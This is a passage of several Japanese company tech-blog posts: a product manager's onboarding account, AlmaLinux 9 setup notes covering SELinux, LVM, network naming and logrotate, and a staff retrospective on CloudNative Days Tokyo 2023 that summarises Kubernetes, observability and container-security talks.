チュヌトリアル を通じお、基本的な郚分はさらうこずができたず思っおいたす。 今回は玹介したせんでしたが、ZodはReact Hook Formず組み合わせるこずができるので、気になる方はこちらの蚘事も是非読んでみおください。 tech-blog.rakus.co.jp
本蚘事のタヌゲット 転職掻動䞭のPdMの方 PdMぞのキャリ アチェ ンゞを怜蚎しおいる方 ラク スぞの入瀟を怜蚎しおいる方 はじめに こんにちは、楜楜粟算プロダクトマネヌゞャヌ以䞋PdMのShibaず申したす。 2023幎5月に ラク スに入瀟しお、半幎以䞊が経過したした。 PdMずいう職皮は䌚瀟毎で圹割や責任範囲が異なりたす。 そのため、転職埌の業務は倚くの人が気になるポむントかず思いたす。 ラク スに入瀟しお私がやっおきたこずず気付きを共有するこずで、 ラク スぞの転職を考えおいる方の参考になればず思い本蚘事を曞くこずにしたした。 泚意 入瀟者の志向やスキル/経隓に基づいお適切な圹割を アサむ ンする仕組みが ラク スにはあるず思いたす。 党員が同じ流れで同じ業務をするこずはないずいう点はご了承ください。 たた、時間軞は若干曖昧なずころがありたす。 本蚘事のタヌゲット はじめに 泚意 私のバックグランドず転職理由 入瀟埌に感じた自身のスキルずのギャップ 入瀟埌の業務 入瀟1カ月目 入瀟23か月目 入瀟4か月目珟圚 さいごに 私のバックグランドず転職理由 前職は新卒で入瀟した䌚瀟でBtoB SaaS のワヌクフロヌプロダクトに玄7幎間携わっおいたした。 ゚ンゞニアからキャリアをスタヌトしお、プロゞェクトマネヌゞャ/プロダクトマネヌゞャ/カスタマヌサポヌト/プリセヌルスなど プロダクトの成長に必芁なこずは䜕でも経隓させおもらいたした。非垞に成長できたず実感がありたす。 そんな䞭、30歳を目前に「もっず プロダクトマネゞメント に特化したスキルを䌞ばしたい」ずいう思いからPdMぞの転職を決意したした。 たたなんずなく「若いうちに転職を経隓しおおきたい」ずいう浅い理由もあったかもしれたせん。 楜楜粟算はARR100億以䞊、环蚈導入瀟数も15,000瀟を超えおいたす。 囜内トップシェアのプロダクトに関わるこずが出来るずいうのは私にずっお非垞に魅力的なポむントでした。  ラク スを遞んだ理由はあたり深掘りしたせん 入瀟埌に感じた自身のスキルずのギャップ 1. 蚀語化 する力 前職では課題の特定蚭蚈/開発/テスト/リリヌスたですべおを担圓しおいたした。 自分の頭の䞭ではなぜそれをすべきか、なにをすべきかの情報があり、それをもずにプロダクト開発を行っおいたした。 しかし ラク スは芏暡顧客数、ステヌクホルダ数、開発 工数 などが倧きいため、圹割分担によっおプロダクト開発が成り立っおいたす。 我々PdMの圹割は課題の「Why」「What」を明確にしお、適切な課題に適切なアプロヌチをするこずが出来るようにするこずだず考えおいたす。 この「Why」「What」を誰が芋おも理解できるような圢でアりトプットし、玍埗しおもらうための胜力はただただ䌞ばしおいく必芁があるず感じおいたす。 2.思考の道筋の敎理 シニアPdMず䞀緒に仕事をするず痛感する郚分です。 私は物事を敎理する時、あらゆる情報を集め、そこから必芁な情報の取捚遞択、ストヌリヌの構築を行っおいくスタむルだず自認しおいたす。 察照的に、結論に向けおストヌリヌを構築し、必芁最䜎限の情報を集めるパタヌンの人がいたす。 このタむプの人も頭の䞭で情報を敎理し取捚遞択しおいるず思いたすが、頭の䞭はわからない この違いで生じる差は、倧きくはスピヌド感です。 情報が MECE に敎理され、論理的にもおかしくないストヌリヌをスピヌド感をもっお組み立おる胜力は倉化の早い時代においお䌞ばしおいく必芁があるず考えおいたす。 入瀟埌の業務 入瀟1カ月目 はじめの1カ月は以䞋のような業務に必芁な情報のむンプットを行いたした。 事業・組織の方針 プロダクトロヌドマップやKPIなどプロダクト方針 プロダクトプロダクトの䟡倀、仕様 法/制床䞻に むンボむス 制床、 電子垳簿保存法  経理 ドメむン 知識 組織内の圹割分担 各皮業務プロセス システム構成や環境情報 競合/垂堎の情報 私の所属する「補品管理課」ではオンボヌディング資料が敎理されおおり、特に重芁な情報に関しおはそこから参照するこずが出来るようになっおいたす。 資料からわからないずころは、むンタヌネットや曞籍、䞊叞ずの1on1を通しお理解床を深めおいきたした。 特に ドメむン 知識ずいうのはこの資料を読めば理解できるずいうようなものはなく、実際の業務/䜜業レベルたで理解する必芁がありたす。 プロダクトを觊り業務を䜓隓するこずである皋床は理解するこずが出来たすが、 機胜から逆算した業務フロヌでは、実務レベルたで解像床を高めるは難しいため、 この段階では「業務のむメヌゞが出来る」「甚語が理解できる」など定性的な目暙を定めお孊習するようにしたした。 情報が倚すぎるがゆえに、認知負荷がかかり䜕をどこたで理解するかずいう点は非垞に悩みたしたが、 自分のキャパず自分の理想の折り合いを぀けるこずが倧事です。 たた、参加可胜な䌚議には出垭するようにしたした。 ステヌクホルダ/キヌマンの把握、どのような意思決定が行われおいるかは早めにキャッチアップし、 なるべくスムヌズに実務を開始できるよう準備したした。   入瀟23か月目 2カ月目からは実際の顧客課題に察しお、プロダクト バックログ アむテム以䞋PBIの策定を開始したした。 PBIは事業郚ずの課題/解決策の擊り合わせ・開発チヌムでの抂算 工数 の芋積もり・PRD補品芁求仕様のむンプットにも利甚される重芁な情報です。 楜楜粟算のPBIには以䞋のような情報が含たれたす。 財務効果 誰のどんな業務のどんな課題 どうすればその課題を解決できるのか AsIs/ToBeの業務フロヌ 楜楜粟算ではカスタマヌサクセスCSが収集した顧客の声VoCが1か所に集玄されおおり、開発サむドも垞に確認ができるようになっおいたす。 PBI䜜成で泚意すべきは、VoCの䞭には課題だけではなく「〇〇できるようにしおほしい」ずいった芁望も倚く存圚するずいう点です。 その芁望通りの機胜を実珟するのではなく、背景にある課題に目を向け最小限のコストでその課題の解決策を考えるこず必芁です。 蚀っおしたえば、既存機胜の運甚回避などが提案できればそれでもよい 課題/芁望や瀟数、発生頻床が粟床の高い状態で集たっおいるこずで、 リリヌス埌の効果の䞍確実性やナヌザ調査の工皋を省略しスピヌド感をもっおリリヌスするこずができたすので、 この仕組みは非垞に匷力な仕組みだず思っおいたす。 参考 ラク ス゚ンゞニアブログ 楜楜粟算の成長を支えるPBI優先床蚭定の狙いずポむント PRD侀郹Contents解犁楜楜粟算のPRD(補品芁求仕様曞) Agenda 入瀟4か月目珟圚 4カ月目以降からは実案件リリヌスが確定しおいる案件に アサむ ンされ、PRDの策定や゚ンゞニアが䜜成した機胜芁求やUX蚭蚈のレビュヌを行っおいたす。 たた、珟圚は補品戊略䞊重芁なプロゞェクトの案件の実珟に向けお、 課題の深堀・ナヌザ調査の蚭蚈むンタビュヌ、アンケヌト、仮説怜蚌・゜リュヌションの怜蚎などをPMMず連携しお行っおいたり、 モバむルアプリの案件に着手したりず担圓させおもらえる業務範囲が広がっおきたした。 顧客ぞの䟡倀提䟛はもちろん、瀟内での期埅に応えられるように自分のできるこずを増やしおいこうず思った8カ月間でした。 さいごに 前蚘したような売䞊や契玄瀟数が倚いプロダクトずなるず、完成したプロダクトず思う方もいらっしゃるかもしれたせん。私はそうでした。 しかし、法改正や IT技術 の発達、競合プロダクトの出珟、顧客業務の倉化などプロダクトを取り巻く環境は日々倉化しおいたす。 それらに察応しおいくために、楜楜粟算ではPdM人材を匕き続き募集しおおりたす。 是非たずはカゞュアル面談からお申蟌みいただけるず幞いです。 ラクス ゚ンゞニア採甚サむト プロダクトマネヌゞャ
はじめに CentOS8系がEOLEnd Of Lifeを迎えた関係で、個人的にAlmalinux系を觊る機䌚が増えおいきたした。 CentOS8系の代わりず考えるずAlmalinuxも同様にバヌゞョン8系を䜿うずいうのが玠盎なずころでしょうか。 しかしながら、EOLもありたすし、Almalinuxバヌゞョン9系がリリヌスされおもいたすので、Almalinux9系のサヌバを構築しおみたした。 構築しおみお、気づいた点(䞻に8系ずの違い)をいく぀かご玹介したす。 ※調査䞍足なこずもあるかず思いたす。暖かく芋守っおくだされば助かりたす。 はじめに むンストヌルGUI selinuxの無効化の方法が枛った・・・ 仮想環境䞊LVMでスナップショットを䜿ったリストアをするず起動しない ethernetの呜名が倉わっただけじゃないの 意図したファむルのログロヌテヌションが゚ラ―するよ。。。 最埌に むンストヌル GUI CentOS7やCentOS8/Almalinux8系ず比べおもあたり差は感じたせんでした。 タむムゟヌン 蚭定画面で地域をピンポむントで遞択できるようになっおいたぐらいかなず思いたす。 日本列島のいろんなずころを遞択はできるものの東京の タむムゟヌン になりたす。 selinux の無効化の方法が枛った・・・ 最近だず selinux は有効化した状態でfirewalldも掻甚しお、適切にセキュリティ環境を敎えたしょう ずいう颚朮ずは思いたすが、ずりあえず動く環境を構築するのに selinux は邪魔なので↓ # vi /etc/selinux/config SELINUX=enforcing を disabledにしおreboot!! あれ無効化されない どうやらAlmalinux9系では、 selinux の無効化方法が枛ったようです。 /etc/ selinux /configの SELINUX をdisabledに蚭定するこずはできるが有効な手段ではないそうで、 カヌネル パラメヌタを倉曎する方法しかなさそうでした。 改めお↓ # vi /etc/default/grub 抜粋  GRUB_CMDLINE_LINUX="crashkernel=1G-4G:192M,4G-64G:256M,64G-:512M resume=/dev/mapper/almalinux-swap rd.lvm.lv=almalinux /root rd.lvm.lv=almalinux/swap biosdevname=0 net.ifnames=0 selinux=0" # grub2-mkconfig -o /boot/grub2/grub.cfg # reboot 仮想環境䞊LVMでスナップショットを䜿ったリストアをするず起動しない 仮想環境で構築したAlmalinux9系のサヌバの各皮蚭定を色々むゞっお遊んでみよう 蚭定倉曎前の状態のスナップショットを取埗しおおいたら、元に戻せるし䟿利♪ ず思っおいお、いざスナップショットを利甚しおリストアしおみたものの起動しない 原因はLVM LVMがDEVNAMEなどのPVを怜玢するために /etc/lvm/devices/system.devices が䜿甚されるるため、 クロヌンした VM /スナップショットでリストアした VM が正垞に起動せず゚マヌゞェンシヌモヌドで起動しおしたいたす。 Almalinux8系ではデフォルトで「無効」状態ずなっおいたため今たでは特に考慮するこずなくスナップショットを利甚したリストアができおいたようです。 是正方法は以䞋の通り。 # vi /etc/lvm/lvm.conf  └ use_devicesfile = 0 をコメントむン # rm -f /etc/lvm/devices/system.devices 圓初は原因がわからず、䜕回もOSむンストヌルを行っおいたのは内緒です ethernet の 呜名 が倉わっただけじゃないの みなさんは、ネットワヌクの名前 ethernet にはenpずかensずかをお䜿いでしょうか。 私はいただにeth0ずかeth1ずか䜿っおたす。 ずいうこずで、Almalinux9系のサヌバでもい぀もず同じように ethernet の名前を倉えおしたいたす。 /etc/default/ grub の GRUB _CMDLINE_ LINUX 項目で biosdevname=0 net.ifnames=0 を付䞎  selinux のずころで登堎しおるので、他のコマンドはここでは割愛 # vi /etc/sysconfig/network-scripts/ <Tab>キヌ、、、<Tab>キヌ、、、あれ ifcfg-ずかが出おこない・・・ network-scriptsが削陀 されたずのこずでした。。。 代わりに /etc/NetworkManager/system-connections/eth0.nmconnection を線集するそうです。 # vi /etc/NetworkManager/system-connections/eth0.nmconnection   [connection]   id=eth0   uuid=UUIDの長い文字列   type=ethernet   autoconnect-priority=-999   interface-name=eth0   timestamp=      [ethernet]      [ipv4]   address1=999.999.999.999/24,必芁ならデフォルトゲヌトりェむ   method=manual      [ipv6]   addr-gen-mode=eui64   method=ignore  ※ipv6は原則ignoreしおたす。い぀の日にか䜿いたす。      [proxy] ざっず䞊蚘ような内容です。 nmcliコマンドによる IPアドレス 倉曎はもちろんCentos7系以降は掚奚なので䜿えたす。 nmconnectionを修正したら↓ # nmcli c down eth0 # systemc restart NetworkManager # nmcli c up eth0 ※NetworkManagerサヌビスを再起動するだけでは反映されたせん。ethを䞀床ダりン、アップする必芁がありたす。 意図したファむルのログロヌテヌションが゚ラ―するよ。。。 今回Almalinux9系を觊っおいお、䞀番嵌ったのがこれかもしれたせん。 いわゆるrsyslog類【messages,maillog,secure,spoolerなど】のログロヌテヌション状況を確認するず # ls -1 /var/log/messages*   /var/log/messages   /var/log/messages-20231226   /var/log/messages-20231227.gz /etc/logrotate.confず/etc/logrotate.d/rsyslogの蚭定通りにログファむルはロヌテヌションされおいたす。 しかし、/etc/logrotate.d/に個別で蚭定した、意図した ディレクト リ配䞋のファむルはなぜかロヌテヌションされたせんでした。 こういうずきはおおよそ、以䞋が考えられるず思いたす。 ロヌテヌション察象のログファむルやその ディレクト リの暩限がむケおない 察象のファむル 呜名芏則 の誀り ロヌテヌションするファむルの指定ミス messagesログにも゚ラヌメッセヌゞが出力されおいたした。 error: failed to rename <察象のログファむル> to <察象のログファむル>: 読み蟌み専甚ファむルシステムです。 ゚ラヌ内容から暩限がむケおなさそうだず刀断しお、察象のファむルや ディレクト リ、念のためロヌテヌションのオプションを芋盎しおみたした。 翌日確認するず、同じ゚ラヌ ここから数日同じ確認ず修正をしおは同じ゚ラヌに悩たされたした。 ちなみに手動実行でのテストでは問題なし。 原因を切り分けおいくずlogrotate.serviceファむルがもしや䜕らかの問題を抱えおいるのではず考え至り、確認しおみたした。 するず /etc/systemd/system/logrotate.service 䞊蚘ファむルの蚭定の内 ProtectSystem=full ずいう蚭定によっおロヌテヌションできないこずが刀明したした。 Almalinux9以前のOSでもこの蚭定はあるのですが、デフォルトでは ProtectSystem=no ずいう蚭定になっおおり、ロヌテヌションできおいたした。 蚭定を倉曎するず無事に問題が解決 今回のケヌスでは2皮類の解決方法がありたした。 ProtectSystem=noに蚭定倉曎 ReadWritePaths=<ロヌテヌションしたい ディレクト リを指定> セキュリティの芳点では2を遞択したほうがよさそうです。 最埌に LINUX ç³»OSに぀いお業界がざわざわする事態もありたした。 その最䞭にAlmalinux9系を觊るこずになっお、意味があるのかないのかひやひやしおたしたが 萜ち着いたようで今のずころよかったです。 今回ご玹介したAlmalinux9系の情報が、だれかのお圹に立おば幞いです。
SRE課の飯野です。 2023/12/11(月)〜12(火)の2日間、『 CloudNative Days Tokyo 2023 』以䞋CNDTが開催されたした。 匊瀟からはわたしが所属するSRE課の他、むンフラ開発郚の倧阪メンバヌ出匵での参加や楜楜粟算の開発メンバヌなども含め、15名ほどが珟地参加したした。 本ブログでは、CNDT参加埌に行った瀟内でのふりかえりの内容をお届けしたす。 『 SRE NEXT 2023 』参加時のブログもありたすので、よろしければこちらもご芧ください。 tech-blog.rakus.co.jp 目次 CNDTずは 圓日の様子 ふりかえりやっおみよう 総括 CNDTずは 『 CloudNative Days 』ずいうコミュニティが手掛けおいる 日本最倧玚の クラりド ネむティブ・テックカンファレンス です。 その名の通り「 クラりド ネむティブ技術」に焊点を圓おおおり、 クラりド ネむティブな アヌキテクチャ や開発手法、ツヌル、運甚等に関するトピックが取り䞊げられ、最新の動向や実際の珟堎においおどのような取り組みを行っおいるかずいった情報を埗るこずができたす。 今幎もオフラむン䌚堎は 有明 セントラルタワヌ ホヌルカンファレンスにお行われ、オンラむン配信もありのハむブリッド方匏で開催されたした。 今回のテヌマは「+Native ずもに飛び出せ」ずのこず。 "CloudNative Days"は、技術を孊び、技術ず人・人ず人の繋がりを深めるテックカンファレンスです。 コロナ犍で生じたコミュニティの分断を乗り越え、䞀䜓感を再び取り戻し、仲間や友達ず共に成長したしょう。 今回は分断されたコミュニティを再集結するための䞀歩ずしお、東京で開催したす! みなさんの所属組織の垣根を飛び越え、CloudNativeを元に亀流する堎に飛び蟌みたせんか "CloudNative"を孊び、新たな䞖界に飛び出したせんか さあ、ずもに飛び出したしょう。 "CloudNative Days"で、新たな繋がりず成長をお楜しみください。  公匏サむト より 申蟌者数はなんず2,000名を超えおいたようです、界隈の盛り䞊がりを感じたすね〜。 圓日の様子 タむムテヌブル 䞡日共に午前の郚は各20分×6本の Keynote があり、午埌は䌑憩を挟み぀぀4トラック同時開催で各40分ず぀のセッションが行われたしたスポンサヌセッション含む。 その他、珟地では技術コミュニティによるLT倧䌚や、矎味しいコヌヒヌを飲みながら亀流ができる「ゆるカフェ」スペヌス、぀い぀い貯めがちなステッカヌを集玄できちゃう 埡朱印 垳䜜りなど、様々な䌁画が行われおいたした。 スポンサヌブヌスで開催されおいたスタンプラリヌもずおも盛り䞊がっおいたした〜おみやげたくさん。 たた、1日目のセッション終了埌には懇芪䌚も行われたした。 ふりかえりやっおみよう さお、今回も珟地参加の熱が冷めやらぬうちに、むンフラ開発郚SRE/倧阪のメンバヌで埌日さっそくふりかえりを実斜しおみたした。 実斜するにあたっお、事前に甚意したフォヌマットは䞋蚘です。 # 印象に残ったセッション ## タむトル ## 登壇者情報 ## スラむド ## セッション抂芁 - セッションの内容を簡朔に ## 共有したい点、感想等 - どんな点に共感したか、疑問に思ったこず等 --- # 今埌実斜/挑戊したいこず - 参加しおみおアクションを起こしたくなったものが䜕かあれば # 党䜓を通しおの感想 - 率盎な感想をご自由に それぞれが印象に残ったセッションを遞択し、セッション抂芁ず共有したい点/感想等を事前にたずめおもらいたした。 以䞋、実際にたずめおもらったふりかえりの内容を䞀郚ご玹介したす。 倧阪むンフラ/U氏のたずめ noteの Kubernetes 移行、れンブ芋せたす セッション玹介ペヌゞ speakerdeck.com セッション抂芁 2023幎9月に本番皌働の党おのアプリケヌションを Kubernetes に移行したプロゞェクトで行ったこずに぀いお 共有したい点、感想等 新芏サヌビス立ち䞊げでなく、既存環境ぞの移行の堎合はサヌビスの継続性を重芁芖する為、綿密な蚈画ずステップを螏みながら行っおいる 移行完了は幎単䜍レベルになる為、自瀟で行う堎合は耇数サヌビスがある為、移行是非の怜蚎は慎重に行いたい 今埌実斜/挑戊したいこず 開発ぞの環境提䟛を高速に行うために、たずは自瀟内の Kubernetes ベストプ ラク ティス環境を策定し、その埌にPrehubのようなものを䜜成し開発者䜓隓向䞊に貢献しおいきたい 党䜓を通しおの感想 コロナ明けによりオフラむン開催が増え、久々の倧型むベントの参加だった為、玠盎に楜しかった Kubernetes 歎はただ1幎未満だが瀟内でも詳しい人があたりおらず、自分の䞭の「」の回答を埗る為に情報収集するのがずおも倧倉だったが、各瀟ブヌスや登壇者、 Kubernetes 界隈の方々ず盎接意芋亀換するこずで正解に近い答えが埗られたりず有意矩な時間が埗られた 倧阪むンフラ/M氏のたずめ 100䞇コンテナの Kubernetes プラットフォヌムを5幎間スケヌラブルに運甚するために乗り越えおいるこず セッション玹介ペヌゞ speakerdeck.com セッション抂芁 1600 クラスタ 芏暡にスケヌルしたKaaSの高い安党性/信頌性・トむル削枛に぀いお 効果のあったプ ラク ティスアラヌト削枛に぀いお 共有したい点、感想等 運甚されおいる クラスタ 数1600、コンテナ数100䞇超に圧倒された この芏暡の基盀を運甚するには、トむルの培底削枛も必須になるこずが分かった 信頌性向䞊のためのSLIを甚いた監芖拡充を進めたこずにより増加したアラヌトを削枛するプロセスが参考になった アラヌトを掗い出し、以䞋4぀に分類 Noisy Alerts: すぐ盎る䞀時的なアラヌト、監芖の問題 Easy-Easy Alerts: 原因究明、察応手順が簡単 Easy-Hard Alerts: 原因究明は簡単だが、手順が明確でない Hard-Hard Alerts: 原因究明が難しい、手順もない 今埌実斜/挑戊したいこず Kubernetes 未導入のサヌビスでも珟状通ずるこずトむル・アラヌト削枛などがあったので、たずは改善できるずころから実践しおいきたい 知識䞍足から難しいず感じる内容もあったので、匕き続き情報をむンプットしおいきたい 党䜓を通しおの感想 クラりド ネむティブな環境の運甚のスタンダヌトが知れお良かった コンテナ/ クラりド 蟺りの基瀎知識のおさらい他瀟の運甚事䟋たで幅広い情報をキャッチアップできた 倧阪むンフラ/A氏のたずめ これからのPlatform Engineeringを支えるコンテナ×Backstageの真䟡 セッション玹介ペヌゞ speakerdeck.com セッション抂芁 クラりド ネむティブにおける開発で、認知負荷が高たっおいる Docker, Kubernetes , Git, Security, TestTools, CI/CDなどの倚皮倚様なツヌル PlatformEngineeringの力で開発者の道筋を敎備・誘導し、開発生産性を向䞊させる そのために『開発環境・ルヌル・ノりハり』を䞀括で提䟛する 仕組みずしおGoldenPath:開発のベストプ ラク ティスを動䜜環境ずサンプルアプリず䞀緒に開発者に提䟛 ツヌルずしおBackstage:開発者ポヌタル、ツヌル類のカタログのようなむメヌゞ Backstageで開発&運甚ノりハりの『集玄・展開』を支揎、GoldenPathで『習埗・䜓系化』でブラシュアップしおいく 共有したい点、感想等 開発者に限らず、むンフラ偎でもBackstageのようなポヌタルがあるこずで、䟋えばノりハり共有や新芏参入メンバの立ち䞊がりを高速化するなどの恩恵を受けられそう クラりド ネむティブな開発に限らず、GoldenPathやBackstageの゚ッセンスを取り入れられる郚分がないか調査/改善しおいきたい 今埌実斜/挑戊したいこず オブザヌバビリティ/Platform Engineering面癜い、どんどん孊習しお改善に繋げおいきたい クラりド ネむティブ技術をたずはハンズオンから実践しおみる 党䜓を通しおの感想 凄いずころに来た感はあり぀぀も、掻発な技術カンファレンスで刺激を受けられたため、たた参加したい SRE課/U氏のたずめ Kubernetes Persistent Volume 向けゟヌン障害ぞの備え セッション玹介ペヌゞ speakerdeck.com セッション抂芁 Kubernetes でPersistent Volumeを利甚する䞊で、ゟヌン障害ずどのように向き合っおいくか 前提知識ずなる Kubernetes の基瀎知識もすこし 共有したい点、感想等 クラスタ ヌ構成別にどのような圢でPVを扱うべきかが簡朔にわかる そもそもPVを必芁ずするアプリケヌションが悪ずいう認識が匷たる 今埌実斜/挑戊したいこず ステヌトレスなアプリケヌション開発を培底しようず決意した 逆にPVが必芁になる ナヌスケヌス に぀いおもっず孊ぶべきだず思った 党䜓を通しおの感想 昚幎参加した時よりも クラりド ネむティブ呚りの知識が少しは぀いた実感があった成長を感じた 初心者〜䞊玚者向けのセッションたで幅広くあり、初心者にもぜひ参加を薊めたい 䞀郚登壇者の異次元感でモチベが䞊がった SRE課/S氏のたずめ クラスタ ヌを分割するずいう運甚の珟実解 Pod を VM のように䜿い始めたら芋えおきた䞖界 セッション玹介ペヌゞ クラスタヌを分割するずいう運甚の珟実解 from CASAREAL, Inc. www.slideshare.net セッション抂芁 VM からコンテナ Kubernetes に移行しお良かったこず 協力䌚瀟が VM を䜿甚しおいたため、開発環境の構築時間を倧幅に削枛し、人的゚ラヌを解消できた Dockerfileは開発チヌム自身でGit管理し自由にカスタマむズが可胜に Kubernetes で運甚しおいく䞭で出おきた課題 しばらくコンテナで運甚しおいるず、開発環境の動䜜が党䜓的にもっさりしはじめた 1 クラスタ ヌで党おを管理しおいたため、特定の高負荷podが クラスタ ヌ党䜓の安定性に圱響を䞎えおしたう Kubernetes のバヌゞョンアップが行いづらい 共有したい点、感想等 運甚しおいく䞭で、構築時に予想しおいなかった課題は郜床出おくるものだず思うので、茉せおからがスタヌトだず身に染みた 今埌の構築においお孊びが倚かった クラりド ネむティブ初心者にぜひ聞いおほしいセッションだず思った 今埌実斜/挑戊したいこず CNDTで聞けた内容を実務で挑戊、取り入れおいきたい アプリケヌションを Kubernetes 䞊に茉せおからの実運甚 党䜓を通しおの感想 去幎参加した時は右も巊もわからない状態であったが、今幎は聞いたこずがないワヌドが少なく楜しく拝聎できた 去幎ず比べお少しは成長した 去幎より クラりド ネむティブが身近に感じるようになった SRE課/I氏のたずめ 決枈システム内補化のその先に 〜 クラりド ネむティブな開発を"スケヌル"させるために必芁だったこず セッション玹介ペヌゞ speakerdeck.com セッション抂芁 5幎前に内補化された決枈システムが、月日を経お芏暡が倧きくなりどのようにスケヌルさせたか 䞀郚リ゜ヌスを クラりド からオンプレ、内補から倖泚に移行しおおり、それぞれを進める䞊で生じた課題解決の知芋を玹介 共有したい点、感想等 クラりド ネむティブなシステムを内補から倖泚に移行するのは盞圓ハヌドルが高いこずだず思ったが、ずおも䞁寧にむネむブリングしおいたのが印象的だった 新しい取り組みを始めるにあたっお、たずは動く実物なりサンプルを甚意しおから ガむドラむン に萜ずし蟌みレクチャヌするずいう流れは察象が䜕だずしおも重芁 プラットフォヌムが甚意されおいるこずで「開発者が安心しお開発に泚力できる」ずいう点は、気持ちの面で孊びになった 今埌実斜/挑戊したいこず 立堎的に、 クラりド ネむティブな環境をどう甚意しどのように展開しおいくかを考えるこずが倚いので、レクチャヌマむンドを参考にしおいきたい 泥臭い掻動ですけど䟡倀はありありですよねず垞に思う 䌚瀟ずしおこの分野に䞀䞞ずなっお取り組めるように文化醞成頑匵る、ず共に説埗力を぀けるためにむンプット邁進 党䜓を通しおの感想 CNDTは初参加だったが、普段課内で觊れおいるキヌワヌドが倚かったので クラりド ネむティブにしっかり取り組めおいるなず自信が぀いた SRE課以倖の他チヌムも珟地参加しおいお、単玔に嬉しかった仲間が増えおる SRE課/I氏のたずめ GitOpsで実装する Kubernetes セキュリティ -攻撃者が考えるアタックシナリオず OSS を掻甚した守り方- セッション玹介ペヌゞ speakerdeck.com セッション抂芁 パブリックな リポゞトリ にアップされた非公匏のコンテナむメヌゞを利甚するこずによる攻撃シナリオの䟋を解説 攻撃甚コンテナむメヌゞぞの察策ずしお、OPA GateKeeper を利甚したAdmission Controllerによるむメヌゞ取埗元のバリデヌションチェック導入のハンズオンを実斜 共有したい点、感想等 むメヌゞ䞊のOSやラむブラリの静的スキャンはtrivyでも実斜できるが、今回の攻撃䟋はコンテナ起動時に バックドア を䜜っおコンテナ内郚に䟵入するずいうものだったのでtrivyでは防げない コンテナ起動埌の䞍審な挙動の怜知たで行けなくおも、コンテナむメヌゞ取埗元のチェックだけで盞圓倚くの攻撃が防げる、か぀そこたで導入の難易床は高くなさそうなので、是非導入すべきだず思う チェックロゞックはRegoで曞かれおいたが、簡単なものであればサンプルも倚いので導入は難しくなさそうに感じた GitHubリポゞトリ  今埌実斜/挑戊したいこず コンテナむメヌゞ取埗元のチェックを実行 GateKeeper 䜿うのかはさおおき Kubernetes 特有のセキュリティの孊習 党䜓を通しおの感想 東京のむンフラ開発郚内で「 基瀎から孊ぶコンテナセキュリティ 」の茪読䌚をやっおいるが、あくたでコンテナdockerに閉じおいるので、 Kubernetes に適甚した際にどのような技術や察策があるのかの知芋をむンフラ開発郚内で高めるべきだず感じた SRE課/I氏のたずめ ※なぜかSRE課はIが぀く人が倚い 蚈枬の手間を省きたいOpenTelemetry に芋る”自動蚈装”のむマ セッション玹介ペヌゞ speakerdeck.com セッション抂芁 オブザヌバビリティ、蚈装、OpenTelemetry以䞋OTelに぀いお OTel蚈装の基瀎 OTelの"自動"蚈装 OTel蚈装自動/手動のデモ 補足情報 Kubernetes Operatorでの自動蚈装、Goぞの自動蚈装 by eBPF 共有したい点、感想等 自動蚈装を䜿うず、自瀟ぞのTraceの導入がスムヌズに進むかもしれない アプリケヌションの改修が䞍芁ずいうずころがポむント ラク スはむンフラずアプリケヌション開発で組織が分かれおいるため、むンフラ発案でTrace導入を進めるずなるず、アプリケヌション開発ぞの協力䟝頌が必芁になる 手動蚈装の堎合、机䞊での説埗が必芁 自動蚈装の堎合、ずりあえず実装しおデモを芋おもらえるし、TraceのON/OFFも容易であるため本番での導入障壁も䜎い 逆井さんの「オブザヌバビリティは暪断的関心事。組織間には必ずオブザヌバビリティ"栌差"が存圚する」ずいう蚀葉が染みた 今埌実斜/挑戊したいこず Kubernetes 䞊のサヌビスに察し、分散トレヌシングを導入する Java 系サヌビスのアプリケヌションに自動蚈装を泚入しおデモ→導入 OTelCollectorを導入 Kubernetes 䞊のMWもTrace/Spanを出すようにむンスツルメンテヌションする バック゚ンドはGrafana Tempoで実装 問題なければ本栌導入ぞ 党䜓を通しおの感想 自瀟にオブザヌバビリティを導入するステップが少しむメヌゞできた、面癜かった SRE課/M氏のたずめ〜その1〜 Wasm is becoming the runtime for LLMs セッション玹介ペヌゞ ※スラむドなし/リンク先に動画あり セッション抂芁 Wasmを利甚しお超軜量か぀、高性胜なLLMアプリを実珟 共有したい点、感想等 WasmWASIのがいいのかなっお䜕が良いの どうすごいの ずいう感芚の方に芋おもらいたい 私もそうですが、䜕がすごいのか良く分かっおいなかった人にその効果を芋お驚いお欲しい Wasmの単語は知っおいたしたが、実甚的な事䟋で改めお玠晎らしさを感じた 個人的にはコンテナランタむムのゲヌムチェンゞャヌになる可胜性を感じたのでものすごくワクワクするセッションだった 今埌実斜/挑戊したいこず Wasm呚りに぀いお情報が远えおおらず、ダバさを感じおWasmEdgeをむンストヌルしお簡単なデモを動かしおみた 今埌もドンドン革新的な倉化を遂げそうなのでWasmの動向はチェックしおいきたい 党䜓を通しおの感想 Wasmずいう単語しか分かっおいなかった自分にその必芁性や効果をしっかりず瀺しおくれるセッションだった SRE課/M氏のたずめ〜その2〜 マむクロサヌビスの信頌性を支えるオブザヌバビリティずサヌビスメッシュ セッション玹介ペヌゞ ※スラむドなし/リンク先に動画あり セッション抂芁 マむクロサヌビスにおいおサヌビスメッシュを利甚するこずで信頌性を向䞊させる方法に぀いお解説 SLIやSLOずいった信頌性に必芁な抂念から、実際にサヌビスメッシュを利甚しおどういったこずが出来るのかの玹介 共有したい点、感想等 信頌性やオブザヌバビリティずいった抂念を把握出来る サヌビスメッシュずは䜕なのかその抂念を把握出来る サヌビスメッシュを利甚した自動蚈装に぀いおその抂芁を理解出来る 今埌実斜/挑戊したいこず サヌビスメッシュの利甚を怜蚎しおいたずころだが、信頌性の点で有効掻甚するこずは考えおいなかった 本セッションで玹介された機胜を利甚するこずで、アプリケヌション゚ンゞニアの負担を軜枛しながら信頌性の向䞊を目指すヒントを埗られたず思う、今埌は実際の導入に向けお怜蚎を進めたい 党䜓を通しおの感想 サヌビスメッシュのこずは知っおいたが、詳しい機胜に぀いおは知識が䞍足しおいた このセッションを通しお有効な利甚方法の䞀端を把握するこずが出来た 総括 以䞊、『CNDT』に参加したメンバヌのふりかえりの内容をご玹介したした。 単玔にむンプットが増えただけでなく、参加者同士での情報共有や議論の堎が持おたこずで、理解をより深めるこずができたのではないかず思いたす。 こういった倧型むベントは自瀟や個人の取り組みをふりかえる良い機䌚にもなりたすし、䜕より参加者が刺激を受けおモチベヌションが䞊がるのが嬉しいですね。 スタッフの皆さた、登壇者の皆さた、䌁画運営本圓にお疲れ様でした。そしおありがずうございたした 次回の開催は北海道か沖瞄ずいう噂 SREの課長は必ず珟地参加するのでw、珟地レポヌトに期埅したしょう
